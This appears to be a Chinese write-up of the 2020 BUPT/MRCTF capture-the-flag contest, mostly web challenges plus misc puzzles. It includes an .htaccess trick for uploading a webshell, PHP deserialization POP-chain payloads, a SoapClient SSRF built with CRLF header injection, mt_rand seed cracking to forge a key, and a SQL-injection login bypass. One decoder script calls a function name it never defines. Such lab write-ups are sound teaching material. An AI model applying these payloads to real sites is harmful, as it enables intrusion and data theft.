0%

2020北邮校赛

WEB

1.Ez_bypass

打开网页直接有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id']))
{
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg)
{
echo 'You got the first step';
if(isset($_POST['passwd']))
{
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{ echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else
{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else
{
echo "You are not a real hacker!";
}
}
else
{
die('Please input first');
}
?>

第一层md5绕过可以用数组或者md5碰撞,第二层弱类型比较直接在1234567后面加个非数字字符就行

image-20200327185855883

我这加了个空格(那个0可以无视了 -_-!)

2.PYWebsite

打开网站花里胡哨的,直接看源码

image-20200327205601093

直接看flag.php页面

image-20200327205642253

根据提示应该是改XFF头

image-20200327205656797

3.你传你🐎呢

先上传.htaccess,文件内容: SetHandler application/x-httpd-php

image-20200327202846073

接着上传马

image-20200327202924100

这个马挂了代理才连上 吐了

image-20200327202736128

4.Ezpop

直接有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__construct(),类的构造函数,当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

__toString 触发的条件比较多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

关键在Modifier类,如果$var为伪协议那么可读flag.php。要触发Modifier的 __invoke() 就必须触发Test的__get() ,要触发Test的__get() 就必须访问Test中一个不能访问的类成员 。而在Show 中的__toSting 方法$this->str->source 明显是不能访问的。所以构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Modifier {
protected $var= "php://filter/read=convert.base64-encode/resource=flag.php";

}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$a=new Show();
$a->source = new Show();
$a->source->str =new Test();
$a->source->str->p=new Modifier();

$b=serialize($a);
echo(urlencode($b));

5.套娃

第一层

image-20200328143848747

这里第一个主要是匹配了_,因为$_SERVER[‘QUERY_STRING’]不会urldecode所以一般套路是可以URL编码,但是本题目ban掉了_的编码值%5f 绕过方法:

  1. %5F
  2. b.u.p.t(点代替_)
  3. b u p t(空格代替_)

第二个用换行符%0a绕过

image-20200328143918754

访问secrettw.php没啥特别的就抓包看了下

image-20200328144148256

放到控制台跑了一下

image-20200328144220283

有了提示就好办,但要注意因为之前是抓的GET包所以headers要加上content-type这个字段或者直接用Hackbar

1
2
3
4
5
6
get请求的headers中没有content-type这个字段,post 的 content-type 有两种 :

application/x-www-form-urlencoded
这种就是一般的文本表单
multipart/form-data
文件表单的传输

POST Merak后会有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Flag is here~But how to get it? <?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

$ip是通过getIp()获取IP但具体不知道通过什么判断的只能猜了

1.Client-IP

2.X-Forwarded-For

3.X-Real-IP

对于file_get_contents可以利用data://伪协议绕过或者php://input 绕过

change改变了我们传入的file参数,所以传入前先加密file

1
2
3
4
5
6
7
8
9
10
11
<?php
function dechage($v){

$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return base64_encode($re);
}
$a="flag.php";
print(unchage($a));

image-20200411223358460

image-20200328233109846

6.Ezaudit

直接扫目录,发现源码

image-20200411225633366

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

这里主要是要比较这个私钥,题目给了公钥,可以发现他们都是mt_rand()生成的。所以只要用公钥去还原种子,然后再手工算出私钥即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<stdio.h>

#include <string.h>

int main()

{

char *str1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

char *str2 = "KVQP0LdJKRaV3n9D"; //公钥



for (int i = 0; i < strlen(str2) ; i++) {

for (int j = 0; j < strlen(str1) ; j++) {

if ( str2[i] == str1[j] ) {

printf("%d %d 0 %d ", j, j, strlen(str1)-1);

break;

}

}

}

return 0;

}

结果

1
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

用php_mt_seed跑出种子为 1775196155

image-20200411232419172

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

mt_srand(1775196155);

function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
$private_key = private_key();
echo $Public_key . "\n";
echo $private_key;

得到私钥 XuNhoueCDCGc这里需要注意的是php版本大版本要和题目环境相同,不然得出的私钥是不一样的

最后通过万能密码拿到flag

image-20200411233744024

7.Ezpop_Revenge

没写出来,复现学习一下

还是www.zip源码泄露

flag.php暗示应该要SSRF

1
2
3
4
5
6
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

接着找反序列的位置

image-20200412124013730

Plugin.php中关键的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface
{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}

反序列化会触发 __wakeup() 并实例化 Typecho_Db类,跟进/var/Typecho/Db.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}
$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

也提示了 __toString() 方法,接着搜

image-20200412141521405

/var/Typecho/Db/Query.php__toString可被利用

关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
class Typecho_Db_Query
{
/** 数据库关键字 */
const KEYWORDS = '*PRIMARY|AND|OR|LIKE|BINARY|BY|DISTINCT|AS|IN|IS|NULL';
private static $_default = array(
'action' => NULL,
'table' => NULL,
'fields' => '*',
'join' => array(),
'where' => NULL,
'limit' => NULL,
'offset' => NULL,
'order' => NULL,
'group' => NULL,
'having' => NULL,
'rows' => array(),
);
private $_adapter;
private $_sqlPreBuild;

public function __construct(Typecho_Db_Adapter $adapter, $prefix)
{
$this->_adapter = &$adapter;
$this->_prefix = $prefix;

$this->_sqlPreBuild = self::$_default;
}

public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}

return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}
}

假设$this->_sqlPreBuild['action']为SELECT,在__toString()方法内就会返回$this->_adapter->parseSelect($this->_sqlPreBuild),调用了$this->_adapterparseSelect()方法。

POP链逻辑:

  • 反序列化HelloWorld_DB,就触发了__wakeup()方法,在__wakeup()内实例化Typecho_Db并以$this->coincidence['hello']作为Typecho_Db__construct()方法的第一个参数;
  • PHP的数组是可以存对象,假设$this->coincidence['hello']实例化Typecho_Db_Query对象,在Typecho_Db的构造方法中将其作为字符串,就触发了Typecho_Db_Query__toString()方法;
  • __toString()内,如果$_sqlPreBuild['action']'SELECT'就会触发$_adapterparseSelect()方法;
  • $_adapter实例化为SoapClient,调用parseSelect()是不存在的方法,触发了SoapClient__call()魔术方法
  • __call()是实现SSRF的关键
1
public SoapClient::__call ( string $function_name , array $arguments )

接着找插件在哪里调用了

image-20200412151046867

/var/Typecho/Plugin.php中有条路由

image-20200412195650568

访问 /page_admin即可启用插件

想要带SESSION出来,必须要把自己的PHPSESSID传过去,然而SOAP并不能设置Cookie,因此需要CRLF。SoapClient可以设置UA,只要在UA后加上\r\nCookie: PHPSESSID=xxx就能为http头添加一个新的Cookie字段,这样就能带上session了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Typecho_Db_Query

{
private $_adapter;
private $_sqlPreBuild;
public function __construct()
{
$target = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For: 127.0.0.1',
"Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rw3"
);
$this->_adapter = new SoapClient(null, array('uri' => 'hello', 'location' => $target, 'user_agent' => 'test^^' . join('^^', $headers)));
$this->_sqlPreBuild = ['action' => "SELECT"];
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}
$o = serialize(new HelloWorld_DB());
$o = preg_replace(" /\^\^/", "\r\n", $o);
$r = base64_encode($o);
echo $r;

POST提交payload

image-20200412194618150

注意将PHPSESSID改成脚本中的值,GET提交admin=1打印flag

image-20200412194656862

8.So Web Application

这道题很懵。

MISC

1.千层套路

给了个压缩包,包名就是解压密码,有很多层。。。

直接脚本跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#python2
import zipfile
next_file = ""
if __name__ == '__main__':
file = "0573.zip"
zf = zipfile.ZipFile(file)
# f=zf.open('1.xlsx',mode='r',pwd='123456'.encode('utf-8'))
a = zf.namelist()
next_file = a[0]
try:
password = file.replace(".zip", "")
zf.extractall(pwd=password)
except RuntimeError as e:
print(e)
zf.close()
for i in range(1000):
zf = zipfile.ZipFile(next_file)
# f=zf.open('1.xlsx',mode='r',pwd='123456'.encode('utf-8'))
a = zf.namelist()
try:
password = next_file.replace(".zip", "")
# print password
zf.extractall(pwd=password)
except RuntimeError as e:
print(e)
next_file = a[0]
print (next_file)

得到qt.txt, 40000个像素点,也是脚本还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from skimage import io
import matplotlib.pyplot as plt
import numpy as np

img = np.zeros((200,200))
print(img)

with open('qr.txt','r') as f:
data = f.readlines()
for i in range(200):
for j in range(200):
if data[i*200+j] == "(255, 255, 255)\n":
img[i][j] = 255
else: img[i][j] = 0

plt.imshow(img,cmap='gray')
plt.show()
plt.close()

2.寻找xxx

image-20200413153919998

image-20200413154311175

把得到的数字 18684221609 发公众号

3.Hello_ misc

解压后是一张图片,图片最上面只有红绿两种颜色。和一个flag.rar 密码压缩包

用foremost从图片中提取到一个带密码的压缩包。

把图片的红色区域裁剪出来 img.png

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from skimage import io
import numpy as np
import re
import struct

img = io.imread('img.png')
x = img.shape[0]
y = img.shape[1]
ret = np.zeros((x,y))
#(255,0,0) 红色
#(0,0,255) 蓝色
c=''
for i in range(x):
for j in range(y):
if(img[i,j,0]) == 255:
c +='1'
else:
c += '0'

b = re.findall(r'.{8}',c)

d = []
for i in b:
d.append(int(i, 2))
with open('out.png','wb') as f:
for i in d:
t = struct.pack('B',i)
f.write(t)

out

得到out.txt

里面只有 127 255 63 191 这四个数字

猜测为 00 01 10 11的组合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from itertools import permutations
import re
def permute(nums):
result = []
for i in permutations(nums, len(nums)):
result.append(list(i))
return result
bin_list = ['00', '01', '10','11']
bin_list=permute(bin_list)


with open('out.txt','r') as f:
ret = f.readlines()
p = []
for i in ret:
p.append(int(i))

out=[]
for i in bin_list:
s = ''
for j in p:
if j == 63:
a = i[0]
elif j == 127:
a = i[1]
elif j == 191:
a = i[2]
elif j == 255:
a = i[3]
s += a
out.append(s)

for i in out:
d = re.findall(r'.{8}',i)
o = ''
for j in d:
o += chr(int(j, 2))
print(o)

image-20200413180554762

得到flag.rar解压密码

解压发现

image-20200413180722339

所以改后缀为docx

里面是空的 ,似曾相识?

直接全选,改字体颜色

1
2
3
4
5
6
MTEwMTEwMTExMTExMTEwMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTEwMDAwMDAxMTExMTExMTExMDAxMTAx
MTEwMTEwMTEwMDAxMTAxMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTExMTExMTExMTExMTEwMTEwMDEx
MTEwMDAwMTAxMTEwMTExMDExMTEwMTExMTExMTAwMDExMTExMTExMTExMDAxMDAxMTAxMTEwMDAwMDExMTExMDAwMDExMTExMTEx
MTEwMTEwMTAwMDAxMTExMDExMTEwMTExMTExMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTExMTExMTAwMTEwMTExMTExMTExMTEx
MTEwMTEwMTAxMTExMTExMDExMTEwMTExMTAxMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTAxMTExMTAwMTEwMTExMTExMTExMTEx
MTEwMTEwMTAwMDAxMTAwMDAwMTEwMDAwMDAxMTAwMDExMTAwMDAwMTEwMTEwMTEwMTAxMTEwMDAwMDAxMTExMDAwMDExMTExMTEx

看起来像base64隐写,但之前用的脚本打印出来全是不可见字符,所以找了个新脚本

image-20200413183342138

image-20200413183650016

4.pyFlag

题目给了三张图片,放到winhex下,可以发现尾部分别有一个部分,将它们组合在一起,可以得到,一个zip。

然后爆破压缩包密码是1234

得到密文

1
G&eOhGcq(ZG(t2*H8M3dG&wXiGcq(ZG&wXyG(j~tG&eOdGcq+aG(t5oG(j~qG&eIeGcq+aG)6Q<G(j~rG&eOdH9<5qG&eLvG(j~sG&nRdH9<8rG%++qG%__eG&eIeGc+|cG(t5oG(j~sG&eOlH9<8rH8C_qH9<8oG&eOhGc+_bG&eLvH9<8sG&eLgGcz?cG&3|sH8M3cG&eOtG%_?aG(t5oG(j~tG&wXxGcq+aH8V6sH9<8rG&eOhH9<5qG(<E-H8M3eG&wXiGcq(ZG)6Q<G(j~tG&eOtG%+<aG&wagG%__cG&eIeGcq+aG&M9uH8V6cG&eOlH9<8rG(<HrG(j~qG&eLcH9<8sG&wUwGek2)

hint

1
2
3
我用各种baseXX编码把flag套娃加密了,你应该也有看出来。
但我只用了一些常用的base编码哦,毕竟我的智力水平你也知道...像什么base36base58听都没听过
提示:0x10,0x20,0x30,0x55
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64
import re
from urllib import parse
a = "G&eOhGcq(ZG(t2*H8M3dG&wXiGcq(ZG&wXyG(j~tG&eOdGcq+aG(t5oG(j~qG&eIeGcq+aG)6Q<G(j~rG&eOdH9<5qG&eLvG(j~sG&nRdH9<8rG%++qG%__eG&eIeGc+|cG(t5oG(j~sG&eOlH9<8rH8C_qH9<8oG&eOhGc+_bG&eLvH9<8sG&eLgGcz?cG&3|sH8M3cG&eOtG%_?aG(t5oG(j~tG&wXxGcq+aH8V6sH9<8rG&eOhH9<5qG(<E-H8M3eG&wXiGcq(ZG)6Q<G(j~tG&eOtG%+<aG&wagG%__cG&eIeGcq+aG&M9uH8V6cG&eOlH9<8rG(<HrG(j~qG&eLcH9<8sG&wUwGek2)"
a = base64.b85decode(a)
print(a)

c = re.findall(r'.{2}',a.decode())
s = ''
for i in c:
s += '%'+i
print(s)

s = parse.unquote(s)
print(s)

s = base64.b32decode(s)
print(s)

s = base64.b16decode(s.decode())
print(s)

print(base64.b64decode(s))

5.Unravel!

JM.PNG,可以binwalk 一张图片,内容为:Tokyo

look_at_the_file_ending.wav文件尾部有一串aes U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=

解开是 CCGandGulu 是压缩包的密码

利用silenteye解密

image-20200413200509558

参考文章n

-------------本文结束感谢您的阅读-------------